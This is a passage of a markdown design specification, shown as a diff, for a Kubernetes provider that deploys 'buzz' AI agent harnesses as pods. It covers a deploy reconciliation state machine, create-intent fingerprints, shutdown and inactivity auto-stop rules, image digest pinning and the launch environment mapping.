+`auth_tag` (→ `BUZZ_AUTH_TAG`) or a non-null `launch.owner_pubkey`
+(→ `BUZZ_ACP_AGENT_OWNER`) before any mutation; if both are null it MUST
+refuse the deploy. Without an owner the harness cannot match `!shutdown`
+(`buzz-acp/src/lib.rs: resolve_agent_owner`, main-loop owner check) and the
+agent answers its own stop command conversationally — §Stop would be
+describing a mechanism that does not work. `BUZZ_ACP_AGENT_OWNER` is a
+reserved key, so this value can only arrive as authoritative launch data,
+never through user env.
+
+**Buzz shared compute (relay-mesh) is non-deployable, and this is forced,
+not chosen.** The mesh rewrite resolves to an OpenAI-compatible transport at
+`http://127.0.0.1:9337/v1` (`relay_mesh.rs: RELAY_MESH_API_BASE_URL`) — a
+loopback proxy on the desktop. Serializing that policy into a pod points the
+agent at its own localhost, where nothing listens. `D` already rejects
+mesh-configured creates on non-local backends
+(`agents.rs: normalize_relay_mesh`); the deploy path MUST equally fail
+closed — before any mutation — when the effective provider resolves to
+`relay-mesh`, rather than passing `relay-mesh` through as if it were a
+runtime provider. Remote mesh transport is a possible v2 (an in-image mesh
+client), not a v1 silent breakage.
+
+**The governing invariant:** a remote agent's environment differs from the
+same record's local spawn **only where the substrate forces it** (paths,
+PATH, readiness). Anyone adding a local behavior knob adds it to the shared
+resolver, and both spawn paths inherit it; there are not two derivations to
+keep in sync.
+
+### Deploy State Machine
+
+`start` on any non-Local agent unconditionally issues `deploy` — the desktop
+does not track substrate state (M1). Deploy is therefore **not** "create": it
+is *converge to at-most-one-live-instance* (I4), implemented as a
+**reconciliation loop** keyed on the agent's identity within the provider's
+scope.
+
+**Step 0 — derive and verify identity.** The payload carries the nsec, not
+the pubkey. Before any substrate read or mutation, the provider MUST parse
+`private_key_nsec` and derive the public key from it; a malformed or
+undecodable key is an immediate in-band error. Every selector, name, and
+comparison below uses the *derived* pubkey — never a caller-supplied one.
+
+**Step 1 — select and authenticate candidates.** Candidate objects are
+selected by the (truncated) identity label, then each candidate's
+**full-pubkey annotation MUST be compared against the derived pubkey**
+before it is treated as belonging to this agent. Truncated selectors are
+collision-*resistant*, not collision-*free*: the annotation check is what
+makes them safe. An object whose annotation does not match MUST NOT be
+no-op'd against, deleted, GC'd, or have its Secret touched; the provider
+MUST either ignore it or fail with an explicit collision error. Only
+annotation-verified objects proceed.
+
+**Auto-repair is fenced to Buzz-authored, positively identified residue
+(normative).** The destructive rows below (delete residue, replace a
+never-started body, GC a Secret) are legitimate *only because* every object
+they touch carries positive **protocol ownership evidence** — and identity
+evidence alone is not ownership evidence. The identity label, the
+full-pubkey annotation, and the create-intent fingerprint prove "matches
+our schema for this public identity"; all three are public, so any cluster
+writer can reproduce them on an object this provider never created. Every
+object this provider creates therefore also carries an explicit
+management marker — `app.kubernetes.io/managed-by: buzz-backend-kubernetes`
+plus a binding schema-version label (§Pod shape) — and **no destructive
+repair or GC action fires unless the marker is present**, on top of the
+annotation check and the UID+`resourceVersion` fence every delete already
+requires. This is protocol evidence, not cryptographic proof: a cluster
+writer can forge metadata by definition, and an actor with write access to
+the namespace can already delete the pod outright — the marker's job is
+making *accidental* schema collisions and third-party objects fail closed,
+not defeating a hostile admin. The vision's rule that a never-started body
+is substrate-operator residue survives with one qualifier: *Buzz-authored*
+create-state (a Secret our provider wrote, a pod carrying our verified
+annotations and marker) is the reconciler's to clear, because it is state
+the user cannot reasonably clear themselves; *substrate* wreckage —
+anything unowned, unmarked, unannotated, or ambiguously identified — still
+fails closed to the operator. A provider that cannot positively identify an
+object as its own output does not repair around it; it reports it.
+
+**Step 2 — reconcile.** Ordered rules, evaluated against the verified
+observation; on any conflict, *re-enter from step 1* rather than fail:
+
+| observed | action | rationale |
+|---|---|---|
+| instance marked for deletion (`deletionTimestamp` set, any phase) | wait for actual disappearance, then re-enter | the user pressed Start and the old instance is unrecoverable; returning the dying instance's id records a success that evaporates. **Note: in Kubernetes there is no `Terminating` phase — a pod being gracefully deleted stays in phase `Running` for its whole grace period.** The deletion mark MUST be checked *before* phase, or this row is mistaken for the no-op row |
+| no instance | create, then verify startup (below) | first deploy / after GC |
+| terminated (Succeeded/Failed) | delete residue, wait for disappearance, re-enter (→ create) | the **normal restart path**: how a user revives a reaped or shut-down agent |
+| live and **started** (harness container running) | **strict no-op; return existing `agent_id`** | Start must never silently kill a live agent mid-turn; "already running" is the honest answer, consistent with I3 |
+| exists but **never started**, provably non-recoverable — referenced Secret confirmed absent (by a consistent read, below), or invalid image reference | delete (preconditioned, below), wait for disappearance, re-enter (→ create) | a pod whose harness never ran is not a live agent: nothing can be killed mid-turn (I3), it never held the identity (I4), auto-stop cannot bound it (I5's reaper lives in the harness), and no-op'ing it would return a permanently inert instance as success on every future Start. "Provably" means the provider verified the referenced object's absence or the spec-level defect itself — never a reason string alone |
+| exists, **never started**, recoverable, **fingerprint matches** current desired create intent (below) — self-healable startup states: `Unschedulable` (scale-from-zero autoscaling), image pull / `ImagePullBackOff`, transient `CreateContainerConfigError` | observe until started or the operation deadline expires, then return the latest redacted condition — **never delete, on this call or any later one** | these states routinely self-heal — an autoscaler provisions the node, the pull retries, the kubelet re-resolves the Secret (it retries a never-created container regardless of `restartPolicy`). And recoverable-timeout MUST stay observational *across calls*: any finite pod-age threshold can collide with the cluster's own pod-age thresholds (Cluster Autoscaler's `--new-pod-scale-up-delay` / per-pod `pod-scale-up-delay` annotation — the FAQ's example is `"600s"`), and delete-recreate resets exactly the age the autoscaler keys on, converting a slow cold start into a livelock in which every individual decision is correct. A later deploy re-reads: started → strict no-op; still recoverable and same intent → observe under the new call's deadline without resetting pod age; provably non-recoverable → the non-recoverable row. Repeated **identical** Starts can therefore never delete anything, whatever the pod's age — a genuinely slow cluster persists until it heals or an operator acts, and M1 already makes substrate residue the operator's boundary |
+| exists, **never started**, recoverable, **fingerprint differs or absent** — the recorded create-intent fingerprint does not match what *this* deploy would create | delete (preconditioned, below), wait for disappearance, re-enter (→ create) | this is not the same generation the user is waiting on — it is a pod built from configuration the user has since *changed*, and without this row the change can never materialize: the pod name is deterministic, GC only reaps terminated pods, Stop needs a live harness, I5's reaper lives in the harness, and there is no `undeploy` — so a never-started pod wedged by its own config (a `memory_request` no node satisfies, a quota-blocked namespace) would swallow every future edit while reporting only "startup not confirmed", indistinguishable from a slow cluster. Divergence is evidence, not a clock — but it has **two** sources, not one: a user config change, and a provider upgrade that moves the baked default image digest (§K8s image; the default is compile-time provider state, so upgrading the provider changes the computed intent with no user action). Both are deliberate: the second is the *only* escape from a wedge caused by a bad baked default (unpullable digest, wrong arch) — a fingerprint blind to the default resolution would hand that wedge back to exactly the population that cannot override `image`. The accepted cost is that a provider upgrade mid-cold-pull discards in-flight startup progress; neither source is clocked to anything the cluster keys on, so no threshold exists to collide with the autoscaler. A **started** pod is never touched by this row: live → strict no-op regardless of divergence (edits reach it via the documented next-generation consequence) |
+
+**Startup is part of create — phase is not readiness.** `Pending` (and even
+`Running` at the pod level) does not mean the harness started: a pod can sit
+in `ImagePullBackOff`, `CreateContainerConfigError` (e.g. a missing
+`envFrom` Secret), or unschedulable `Pending` forever, and I5's inactivity
+reaper cannot bound a harness that never began. Therefore `deploy` MUST NOT
+report success at pod acceptance: it succeeds only when the harness
+container has actually started (container `state.running`), bounded by the
+operation deadline. On failure or deadline expiry it MUST return an in-band
+error carrying the actionable condition (the container waiting `reason` /
+pod condition), not a generic timeout. "Live" in the no-op row above means
+**started**, for the same reason — this is the lesson ephemeral-runner
+controllers learned upstream (inspect container state, not pod phase).
+Classification MUST combine container state, pod conditions,
+referenced-object existence, and the recorded create-intent fingerprint —
+**reason strings alone are not a
+stable fatality taxonomy**, and pod age is never one (age triggers nothing
+destructive; see the recoverable rows and the controlled-view rule below).
+In particular, `Unschedulable` is not fatal: a
+scale-from-zero pod reports it while the autoscaler provisions capacity,
+and the kubelet retries a container that never got a container status
+regardless of `restartPolicy: Never` (`ShouldContainerBeRestarted` returns
+true for a nil status *before* the restart-policy check —
+`kubelet/container/helpers.go`), which is exactly why a briefly-missing
+Secret self-heals. `restartPolicy: Never` suppresses restarting a container
+that ran and died; it says nothing about one that never started.
+A consequence to state plainly: once success includes container start, the
+600s operation deadline **is** the cold-start budget — image pull on a
+fresh node, scale-from-zero scheduling, all of it. But the deadline bounds
+**how long one Start waits synchronously**, nothing more. Deadline expiry
+on a still-progressing startup is reported as "startup not confirmed within
+the deadline", and MUST NOT trigger cleanup or forced recycle — on this
+call *or any later one* (the recoverable rows above — what replaces a
+never-started pod is a *config change*, never a deadline): the next deploy's
+reconciler observes whatever the startup became and takes the matching row,
+preserving the pod's `creationTimestamp` for whatever cluster machinery
+keys on it. Whether ten minutes fits the intended cluster class is a
+product ruling,
+not a correctness one.
+
+**One create attempt per call (normative).** The replacement rows above —
+terminated, never-started provably broken, never-started divergent — exist
+to clear residue from a *previous* life. Once a deploy call has created its
+own pod, a classification that would replace that pod means the attempt this
+call just made has already failed: the harness started, rejected its
+configuration, and exited (the deterministic startup failure), or the pod
+was proven broken. Re-running the identical create against the same cluster
+inside the same call cannot produce a different outcome; what it produces is
+a hot delete/mint/create cycle every poll interval for the whole operation
+deadline, one immutable Secret per cycle (measured live: 107 Secrets in a
+single 600s call), every one younger than §K8s GC's orphan age gate — a
+bounded-call resource DoS and nsec-bearing-Secret amplifier. A binding MUST
+NOT delete-recreate a pod created by the same deploy call: it MUST return
+the in-band error carrying the latest condition (for a terminated container,
+the exit code and reason — never the terminated `message`, which is
+process-composed output under the same redaction rule as pull messages).
+The failed attempt's pod and Secret are deliberately left in place: the pod
+is terminated, so the *next* Start's preflight GC collects the pod and its
+referenced Secret together before that call's own single attempt — retry is
+thereby gated on fresh owner intent, and litter is bounded at one pod plus
+one Secret per press, not per poll. This bounds attempts, not observation:
+the recoverable rows still observe a slow startup for the full deadline, and
+residue from previous lives is still replaced exactly once on the way to
+this call's attempt.
+
+**Destructive decisions come from views you control — reads and writes
+both (normative).** This is one rule with three instances, stated once so
+nobody optimizes an instance away. §K8s GC's same-clock rule is the time
+instance. The other two live here:
+
+- *Reads*: every read whose result can authorize a deletion — the
+  Secret-absence confirmation above, and the candidate list the GC pass
+  filters — MUST use most-recent semantics (`resourceVersion` **unset**,
+  a quorum read). `resourceVersion: "0"` is served from the watch cache,
+  which the Kubernetes API contract explicitly allows to be much older
+  than anything the client has already observed; a stale
+  Secret-absence read would delete a pod whose Secret exists and whose
+  container was about to start — the GC race again, arriving through read
+  consistency instead of a clock.
+- *Writes*: a fresh read is necessary but not sufficient — the kubelet can
+  start the container between observation and delete. Every DELETE
+  authorized by a classification MUST carry `preconditions.uid` **and**
+  `preconditions.resourceVersion` from that exact observation
+  (`metav1.Preconditions` supports both), making the edge a
+  compare-and-delete. A failed precondition is neither an error nor
+  permission to retry the delete: re-enter from step 1 and classify the
+  object that exists now. The full-pubkey annotation check remains — the
+  precondition pins *when*, the annotation pins *whose*.
+
+**The 409 discriminator is `Status.reason`, never the status code
+(normative).** Two rules in this section require *opposite* actions on
+the same HTTP status: a failed delete precondition and a create-conflict
+are **both 409** (`NewConflict` and `NewAlreadyExists` each carry
+`Code: http.StatusConflict` — `apimachinery/pkg/api/errors/errors.go`).
+The discriminator is the Kubernetes API `Status.reason` field:
+`Conflict` → abandon the delete and re-enter from step 1;
+`AlreadyExists` on create → the convergence rule below (clean up only the
+losing attempt's Secret, re-read, adopt the winner). An implementation
+that branches on the code alone will eventually take the adoption path on
+a failed delete or vice versa. This does not contradict the
+reason-strings warning above: API `Status.reason` is a machine-readable
+contract token defined by `metav1.Status`; *container waiting* reasons
+are kubelet-produced strings with no such contract — the spec distrusts
+the latter, not the former.
+
+**Create-intent fingerprint (normative).** The divergence discriminator
+in the never-started rows is a recorded annotation,
+`buzz.block.xyz/create-intent`, written at pod create — the same shape as
+the image-reference and pubkey annotations the pod already carries. Its
+value is an **unkeyed SHA-256** over a canonical serialization of the
+provider's **non-secret create-intent template**, computed *before* the
+create call. The scope rule that makes a plain hash safe: the input
+covers exactly the provider-controlled fields that can affect scheduling
+or container creation — resolved image reference, resource
+requests/limits, service account, PodSpec command/args, volumes/mounts,
+security context, and the provider's other pod-shape knobs — and **never
+Secret data or attempt identity**. Secret *values* cannot cause the
+never-started wedge this discriminator exists to clear (scheduling reads
+pod fields, not Secret values; a bad launch value produces a started
+container that fails at the relay — a different row), so hashing them
+buys nothing and a plain hash over low-entropy secrets published in a
+world-readable annotation would be a dictionary oracle; excluding them
+removes the oracle and with it any need for an HMAC key or nsec-derived
+key material. Two normalization requirements, or every attempt diverges
+by construction: the per-attempt Secret *name* in `envFrom` MUST be
+replaced by a fixed placeholder (or the pre-binding template serialized
+instead of the concrete PodSpec), and API metadata / server- and
+admission-produced output (UID, `resourceVersion`, timestamps, defaulted
+fields, the fingerprint annotation itself) is excluded structurally —
+the serializer never sees it, an invariant checkable by inspection.
+Comparison is always recorded-annotation vs freshly-computed intent,
+**never** a diff against the live pod spec: admission defaulting and
+mutation would make every pod look divergent, which is why the
+fingerprint is computed pre-create. A missing referenced Secret stays
+handled by the most-recent absence check (the non-recoverable row), not
+by fingerprint divergence; and divergence authorizes deletion only
+through the never-started recoverable row — a started pod is strict
+no-op whatever its fingerprint says.
+
+**No-op means zero mutation.** The live-instance row MUST NOT replace or
+patch the Secret, patch metadata, or delete anything belonging to the
+observed live generation. Configuration and environment edits apply only to
+the *next* fresh generation (see the documented consequence below).
+
+**Conflicts converge, never fail.** Two provider processes can concurrently
+observe "no instance" or "terminated" — the deterministic instance name
+prevents two live instances, but one caller loses the race. The provider
+MUST treat create-conflict (already exists) by re-reading and, if the winner
+is an annotation-verified live instance, returning it as the no-op row
+would — cleaning up only its own losing attempt's residue, never the
+winner's (the Kubernetes binding makes this concrete via per-attempt Secret
+names, §K8s Secrets); it MUST treat delete-not-found as success; and it
+MUST loop until a
+stable outcome or the operation deadline (600s) expires. One deliberate
+asymmetry: the **create loser does not apply the fingerprint-divergence
+row to the pod that just beat it**, even when the winner's fingerprint
+differs from its own intent — it adopts or reconciles the elected winner.
+Two contenders with different payloads would otherwise ping-pong deletes
+through the conflict path. A *subsequent* deploy that walks in and
+observes that never-started divergent winner replaces it normally.
+Without this rule,
+"two deploys return an `agent_id`" (the idempotency claim below) is false
+under concurrency.
+
+**Documented consequence.** Because live → no-op, configuration edits to a
+running remote agent do not take effect until it next exits (unlike local
+agents, which re-resolve on every spawn). This is an accepted v1 tradeoff;
+a deliberate "recycle" affordance (stop-then-start) is the v2 path to
+immediate application. [DECISION E, ruled: per-binding policy — this
+binding keeps no-op; the universal property is that no sequence of Starts
+yields two live instances in one scope.] Note the asymmetry is deliberate and points the
+right way: an edit *cannot* reach a started pod until it exits, but it
+*can* reach a never-started one immediately (fingerprint divergence) —
+the never-started pod is the one the user is editing *because* it did not
+start.
+
+Idempotency in the protocol sense: any number of concurrent or sequential
+`deploy`s with the same payload converge to one live instance, and every
+non-erroring call returns an `agent_id` naming it; no sequence of `deploy`s
+can yield two live instances in one scope.
+
+### Stop and Delete
+
+- **Stop** is not a provider operation. `D` publishes `!shutdown` mentioning
+  the agent on `R`; the harness verifies the sender is the owner and exits
+  through its graceful path: agent-pool shutdown, drain of in-flight turns,
+  publish presence `offline`, close relay connection. **The spec does not
+  derive an upper bound for this path from its segment timeouts, because
+  review proved that arithmetic wrong twice**: the visible constants (30s
+  drain, 2s presence, 5s relay close) omit terms that are *variable*, not
+  constant — at `28ae6cd21` the post-drain reap segment
+  (late-arriving reap `lib.rs:2664`, idle-slot reap loop `:2670`, respawn
+  drain `:2684-2688`) runs *outside* the 30s drain timeout (opened at
+  `:2636`, closed at `:2657`) and serially awaits a 5s post-SIGKILL wait
+  per occupied pool slot (`acp.rs:436`). **That segment alone can reach
+  `30 + 5×parallelism + 7` — ~87s at the desktop's default parallelism
+  of 10** (`DEFAULT_AGENT_PARALLELISM`, `types.rs:814`; lowered from 24 by
+  #3038), ~197s at the harness cap of 32 (`config.rs:293`) — already
+  exceeding a 60s grace. And it is a *lower* bound on the tail, not the
+  worst case: the same path runs earlier segments before the prompt drain
+  even opens — a separate 30s wake-task drain (`:2612`) followed by
+  serial shutdown of any awakened pools (`:2620-2624`), whose per-slot
+  `acp.shutdown()` loop (`:3747-3751`) has no timeout of its own. The
+  total tail is not bounded by today's segment timeouts at all.
+  The requirement is therefore stated as a budget, not a sum (Known
+  Defect 7): **the harness MUST bound its total shutdown tail — every
+  post-signal segment, including per-slot reaping — under one shared
+  deadline no greater than the declared grace budget**, and the budget
+  MUST include a **reserved finalization slice** held back for presence
+  `offline` publish and relay close, **no smaller than those finalizers'
+  declared bounds — currently 2s + 5s = 7s** — which child cleanup may
+  never consume: child reaping degrades first (skip remaining per-slot
+  waits, force-kill), because a shared deadline without the reservation
+  can legally spend all 60s reaping children and hit SIGKILL before the
+  one action the grace period exists to protect. The binding declares the
+  budget (§K8s Grace: 60s); anyone re-deriving "~37s" from the segment
+  constants is reading numbers without their variables. The desktop's
+  local stop command rejects remote agents.
+- **Delete** with a live `backend_agent_id` requires `force_remote_delete:
+  true` from the UI's orphan-warning confirmation — a buggy IPC caller
+  cannot silently orphan substrate objects.
+
+### Auto-Stop (Inactivity Self-Termination)
+
+I5's enforcement point. A new harness knob:
+
+```
+--exit-after-inactivity <secs>   /   BUZZ_ACP_EXIT_AFTER_INACTIVITY
+```
+
+- **Default 0 = disabled.** The flag ships in the harness every *local*
+  agent also runs; a reaper bug must not be able to kill a laptop agent.
+  Remote providers opt in (the Kubernetes binding's `inactivity_seconds`
+  config field, schema default 7200 = 2h, feeds this env var directly).
+  **`inactivity_seconds: 0` is likewise a legal, blessed value meaning "no
+  inactivity bound"** — the explicit opt-in to an indefinitely-lived agent
+  (I5's lifetime-is-policy rule); it is not a misconfiguration and MUST NOT
+  be rejected by provider-side validation.
+- **"Inactivity" is defined as**: no events dispatched to the agent and no
+  turns in flight. Raw relay traffic does not count — an agent lurking in a
+  busy channel it never answers is exactly the waste this bounds.
+- **Mechanism**: on expiry of the bound, the harness fires the same shutdown
+  channel `!shutdown` uses — so inactivity exit gets in-flight drain,
+  presence→offline, and graceful relay close identically to an owner stop.
+  **The expiry check MUST NOT depend on pool readiness.** This is a design
+  constraint learned by inspection, not a transcription: the harness's
+  existing 30s maintenance tick is gated on `pool_ready` (`lib.rs:1743`),
+  which under `lazy_pool` starts false (`:1320`) and flips true only on a
+  wake (`:2570`) — and wakes require pending work (`pool_lifecycle.rs:42`).
+  A reaper riding that tick composes with the mandated
+  `BUZZ_ACP_LAZY_POOL=true` (§Launch data) into a deadlock in I5's single
+  most important case: a never-mentioned lazy pod never runs the tick, so
+  the idle agent the reaper exists to kill is exactly the one it can never
+  evaluate. The reaper therefore runs on its own timer, independent of pool
+  state (an idle-pool check needs no pool). Check granularity makes the
+  effective bound `t ∈ [T, T+interval)`, immaterial at T=7200.
+- **Reserved keys**: `BUZZ_ACP_EXIT_AFTER_INACTIVITY` MUST join
+  `RESERVED_ENV_KEYS` (`env_vars.rs`) when it lands — it is tier-3
+  authoritative (§Launch data), and without reservation a user env var
+  could disable the reaper and reopen unbounded lifetime through the front
+  door. `BUZZ_ACP_NO_PRESENCE` (`config.rs:378`) MUST join in the same
+  change, for the same shape of reason at I3 instead of I5: unreserved, it
+  lets user env silently defeat the 180s presence bound (I3). One knob
+  guards "knows when to leave", the other "you can see that it left";
+  both are promises users must not be able to un-make by typo.
+- Distinctness note: this is a **fourth** timeout concept, deliberately named
+  away from the existing three (`--idle-timeout` = per-turn ACP wire silence,
+  900s; `turn_timeout`; `max_turn_duration` = 7200s — numerically equal to
+  the default inactivity bound and semantically unrelated). Sharing a flag or
+  env name with any of them is how the bug ships.
+
+The harness exiting MUST terminate the substrate's unit of execution, and —
+equally load-bearing — the substrate's termination signal MUST reach the
+harness process itself; any wrapper MUST forward it. A wrapper that runs
+the harness as a child without forwarding signals silently voids both I5's
+substrate half *and* the graceful-shutdown budget: the termination signal
+lands on the wrapper, the harness never learns to shut down, and the
+force-kill leaves presence stale-online — exactly the staleness window the
+grace period exists to close. This binding's realization — the harness as
+the container's signal-receiving process (PID 1 or the signal target) — is
+§K8s Entrypoint's `exec` rule and §Pod shape ([L3], L1 item 3 for the
+universal form).
+With the supervisor policy that matches the lifetime policy (this
+binding's [L3] mapping — bounded → `Never`, indefinite → `OnFailure`
+after both prerequisites, §Pod shape; the universal rule is I5's),
+harness exit completes the pod on every intentional path — turning
+agent-level I5 into substrate-level I5.
+
+## The Kubernetes Binding (`buzz-backend-kubernetes`)
+
+The first conforming provider: a Rust crate in `block/buzz`, distributed as a
+standalone binary. Everything above is the contract; this section is its
+realization.
+
+### Cluster auth {#k8s-auth}
+
+Standard kubeconfig resolution (`$KUBECONFIG` → `~/.kube/config`) via
+`kube-rs`. `provider_config` carries **`context`** and **`namespace`** only
+(I2: credentials never transit config). Because kubeconfigs at Block
+near-universally use `exec` credential plugins (`aws eks get-token`,
+`gke-gcloud-auth-plugin`) that resolve via PATH, and the provider inherits a
+Finder-launched desktop's minimal PATH, the provider MUST prepend
+`/opt/homebrew/bin`, `/usr/local/bin`, and `~/.local/bin` to its own PATH
+before building the client, and on exec-plugin failure MUST name the missing
+plugin binary in the error rather than surfacing a kube-rs stack.
+
+### Namespace {#k8s-namespace}
+
+One stable namespace per user-visible choice; the provider emits a freshly
+generated `buzz-agents-<rand6>` as the `namespace` field's schema *default*
+on every `info` call, so the UI prefills a visible, editable random name with
+zero UI changes ("random default" satisfied at the schema layer). If the
+namespace does not exist the provider attempts to create it; on RBAC denial
+it MUST fail with the literal `kubectl create namespace <name>` command to
+run — it MUST NOT fall back to `default`.
+
+### Image
+
+`ghcr.io/block/buzz-sprig`: Alpine base + `bash` (required by the dev-MCP
+shell tool) + `git` + CA certificates + the static musl `sprig` multicall
+binary with its personality links (`buzz-acp`, `buzz-agent`, `buzz-dev-mcp`,
+`rg`, `tree`, `buzz`, `git-credential-nostr`, `git-sign-nostr`) + a baked
+system gitconfig wiring the nostr signing and credential helpers. The baked
+credential-helper config MUST be scoped to the relay's git URL — mirroring
+the local spawn's `credential.<relay-url>/git.helper` scoping — never a
+global `credential.helper`: a global nostr helper would answer for every
+remote, including github.com. ~15–25MB;
+not FROM-scratch (bash and git preclude it). Sprig-only: alternate-harness
+dependencies (node for Claude Code / Codex) come via the `image` override
+field, not a fatter default. Tagging follows the relay image's matrix —
+`sha-<short>` on main, semver on `sprig-v*` tags (the sprig tarball's
+`+git.<sha>` version string is not a legal Docker tag). **The default image
+reference MUST be pinned by digest, not tag**: the provider bakes, at
+compile time, the multi-arch manifest digest of the image built from its
+own commit and defaults `image` to
+`ghcr.io/block/buzz-sprig@sha256:<that-digest>` — a `sha-<git-sha>` *tag*
+is traceable but still movable (registry tags are mutable pointers;
+Kubernetes distinguishes movable tags from immutable digests for exactly
+this reason), and the object holding it runs with an nsec. The provider
+records the reference it used in a pod annotation, and rejects `:latest`.
+User `image` overrides accept tag, digest, or full custom registry
+reference — visibly the user's trust decision, with the resolved image ID
+recorded in the same annotation for post-hoc attribution.
+**An image override MUST contain the runtime ABI** — the `buzz-acp`
+entrypoint and everything §Entrypoint and launch ABI requires — not merely
+alternate-harness dependencies. A conforming custom image is "buzz-sprig
+plus your tools", never "your tools instead".
+
+### Entrypoint and launch ABI {#k8s-entrypoint}
+
+Two conforming implementations must produce interchangeable pods, so the
+launch contract is normative.
+
+**Entrypoint.** The container runs the harness as its signal-receiving
+process. Sprig is a multicall binary with no supervisor personality —
+nothing reaps children or forwards signals — so the entrypoint MUST end in
+`exec`:
+
+```bash
+#!/bin/bash
+set -e
+# nest scaffolding, if DECISION A lands, goes here
+exec buzz-acp   # exec, not a call — buzz-acp must be PID 1
+```
+
+`bash -c "setup && buzz-acp"` (no `exec`) is non-conforming: bash becomes
+PID 1, and a PID-1 bash with no trap never delivers SIGTERM to the harness
+(PID 1 receives kernel-level default-handler signal immunity), so the pod
+rides out the entire grace period and is SIGKILLed with presence still
+online — voiding I5's substrate half and the very staleness window
+`terminationGracePeriodSeconds: 60` was sized to close. The entrypoint
+shape and the grace period are one requirement, not two.
+
+**Payload → environment mapping.** The provider builds the pod environment
+(via the per-agent Secret, §K8s Secrets) by applying the §Launch data
+three-tier precedence — `launch.policy_env` (overridable defaults), then
+`launch.env` (user/layered), then the authoritative tier from top-level
+fields per the reserved-key rule. Only the
+non-`launch` scalars and the substrate-forced re-derivations are mapped
+individually:
+
+| source | env var |
+|---|---|
+| `relay_url` | `BUZZ_RELAY_URL` |
+| `private_key_nsec` | `BUZZ_PRIVATE_KEY` and `NOSTR_PRIVATE_KEY` (the git helpers read the latter) |
+| `auth_tag` | `BUZZ_AUTH_TAG` (omitted when null; then `launch.owner_pubkey` → `BUZZ_ACP_AGENT_OWNER` is REQUIRED — §Launch data owner rule) |
+| `launch.command` | `BUZZ_ACP_AGENT_COMMAND` — the *name*, resolved against the image's own PATH; never a forwarded host path |
+| `launch.args` | `BUZZ_ACP_AGENT_ARGS`, comma-joined |
+| `launch.env`, `launch.policy_env` | verbatim, at their precedence tiers |
+| generation token (§K8s Secrets) | `BUZZ_MANAGED_AGENT_START_NONCE` — the lifecycle-frame correlator and the Secret generation are one identity (§Launch data tier 3) |
+| `system_prompt`, `idle_timeout_seconds`, `max_turn_duration_seconds`, `parallelism` | **not mapped by the provider** — the desktop resolves these into `launch.policy_env` (`BUZZ_ACP_SYSTEM_PROMPT`, `BUZZ_ACP_IDLE_TIMEOUT`, `BUZZ_ACP_MAX_TURN_DURATION`, `BUZZ_ACP_AGENTS`). `BUZZ_ACP_AGENTS` carries the **effective** parallelism (`min(record.parallelism, harness_cap)`), is reserved (`env_vars.rs:RESERVED_ENV_KEYS`), and cannot be overridden by user env. The remaining knobs are tier-1 by local fact (written before user env); a provider that mapped the top-level copies after `launch.env` would silently defeat local overrides. The top-level fields remain as display/bookkeeping inputs only |
+| `turn_timeout_seconds` | not mapped — deprecated upstream and ignored; the local spawn also does not emit it |
+| `respond_to` | `BUZZ_ACP_RESPOND_TO` |
+| `respond_to_allowlist` | `BUZZ_ACP_RESPOND_TO_ALLOWLIST`, comma-joined |
+| — | `BUZZ_ACP_MCP_COMMAND=buzz-dev-mcp` (image-local; the dev-MCP requirement) |
+| `provider_config.inactivity_seconds` | `BUZZ_ACP_EXIT_AFTER_INACTIVITY` (schema default 7200; the I5 opt-in, §Auto-Stop — the config field and this env var are one knob, not two) |
+
+The top-level `model`/`provider` payload fields are display/bookkeeping
+inputs; the *environment* consequence of model and provider selection
+(per-runtime vars, `provider_locked` suppression, `BUZZ_ACP_MODEL`) arrives
+resolved inside `launch.env`/`launch.policy_env`. A provider MUST NOT map
+`provider` to any env var itself — that mapping is per-runtime and lives in
+the desktop's resolver (§Launch data).
+
+**Encoding honesty note.** `BUZZ_ACP_AGENT_ARGS` is comma-delimited by the
+harness's CLI parser, and the desktop's *local* spawn performs the same
+comma-join — an argument containing a comma is unrepresentable in both
+paths. This is a harness interface limitation the binding inherits and
+matches, not one it introduces; a provider MUST NOT invent a private
+escaping scheme the harness would not decode.
+
+**Working directory.** `HOME` is set to a writable path backed by the
+workspace `emptyDir` (e.g. `/home/agent`), and the harness runs with cwd =
+`HOME` — mirroring the local spawn's agent-workdir convention. The baked
+system gitconfig references the nostr helpers by absolute path so it works
+regardless of `HOME`.
+
+### Pod shape
+
+- **Bare Pod; `restartPolicy` follows lifetime policy (I5).** No Job, no
+  controller — controller-grade restart machinery (`Restart=always`-shaped)
+  would resurrect what `!shutdown` and auto-stop terminate, violating I5.
+  Within the bare pod, the policy is selected from `inactivity_seconds`:
+  - **Bounded lifetime (`inactivity_seconds > 0`, the default): `Never`.**
+    The reaper's clean exit must complete the pod; any restart would undo
+    the reap. Accidental death is handled by *intent*, not machinery:
+    eviction → presence `offline` (I3) → user hits Start → the
+    reconciler's terminated arm re-creates. That sequence is
+    rescheduling-after-accident gated on a fresh owner intent — apt for an
+    agent whose owner already accepted "not running" as its default state.
+  - **Indefinite lifetime (`inactivity_seconds: 0`): `OnFailure`** — once
+    the harness exit-code contract is pinned (I5 ordering rule; until
+    then the provider MUST refuse the combination rather than ship
+    `OnFailure` against an undefended exit convention). `OnFailure`
+    restarts the *in-place* abnormal deaths — process crash, container
+    OOM-kill — and honors the intentional ones (clean exit completes the
+    pod): I5's intent-vs-accident distinction, realized. **Second
+    prerequisite — reconciler classification:** `OnFailure` introduces a
+    pod state the deploy state machine's rows do not cover — a
+    crash-looping harness sits in phase `Running` with
+    `state.waiting{reason: CrashLoopBackOff}`, `restartCount > 0`: not
+    deletion-marked, not terminated (the kubelet keeps restarting it),
+    not "live and started" (`state.running` is false), and not
+    never-started (it started, repeatedly) — and it fails the startup
+    success criterion while the kubelet is actively reviving it. Before
+    the binding ships `OnFailure`, the state machine MUST gain a
+    crash-loop classification row and the started-criterion's treatment
+    of `restartCount > 0` MUST be specified; the exit-code contract alone
+    is *not* the green light. **Honest
+    limit:** `restartPolicy` is
+    kubelet-level and cannot survive *node-level* loss — a drain or
+    API-initiated eviction deletes a bare pod outright, and no
+    restart policy reschedules a deleted pod. Full "continuous need"
+    across node loss requires controller-grade machinery this binding
+    deliberately does not use in v1 (the same machinery I5 distrusts);
+    the v1 promise for indefinite agents is restart-on-crash, with
+    node loss surfacing as presence `offline` awaiting a fresh Start.
+- **Naming/labeling — the exact contract** (63-char label-value limit; a hex
+  pubkey is 64 chars, one over):
+  - pod name: `buzz-agent-<first-12-hex-of-pubkey>` — also the returned
+    `agent_id`
+  - label `buzz.block.xyz/agent-pubkey: <first-32-hex>` — the selector key
+    for reconciliation and GC. 128 bits is collision-*resistant*, not
+    collision-free, which is why the annotation check below is normative,
+    not decorative
